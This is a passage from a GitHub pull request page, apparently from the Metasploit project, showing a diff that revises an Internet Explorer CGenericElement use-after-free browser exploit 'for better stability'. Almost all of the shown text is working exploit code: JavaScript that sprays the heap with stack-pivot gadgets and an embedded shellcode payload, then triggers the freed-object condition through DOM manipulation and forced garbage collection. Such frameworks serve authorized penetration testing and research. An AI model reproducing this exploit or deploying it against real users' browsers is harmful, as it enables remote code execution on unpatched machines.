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Modifies the exploit a little for better stability #1891

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merged 1 commit into from
Jun 3, 2013
Merged

Modifies the exploit a little for better stability #1891

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20 changes: 6 additions & 14 deletions modules/exploits/windows/browser/ie_cgenericelement_uaf.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -222,7 +222,6 @@ def load_exploit_html(my_target, cli)
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>

<script>
#{js_mstime_malloc}

Expand All @@ -234,43 +233,36 @@ def load_exploit_html(my_target, cli)
}
sparkle += unescape("AB");
sparkle += unescape("#{js_payload}");

magenta = unescape("#{align_esp}");

for (i=0; i < 0x70/4; i++) {
if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
else { magenta += unescape("#{align_esp}"); }
}

magenta += sparkle;

document.body.contentEditable="true";
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f0);
document.body.appendChild(f1);
document.body.appendChild(f2);
document.body.contentEditable="true";
for (i=0; i < 20; i++) { document.createElement("img"); }
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
CollectGarbage();
f1.appendChild(document.createElement('table'));

try { f0.offsetParent=null;}
catch(e) { }

f2.innerHTML = "";
f0.appendChild(document.createElement('hr'));
f1.innerHTML = "";

CollectGarbage();
f0.appendChild(document.createElement('hr'));
mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
}

</script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>

</body>
</html>
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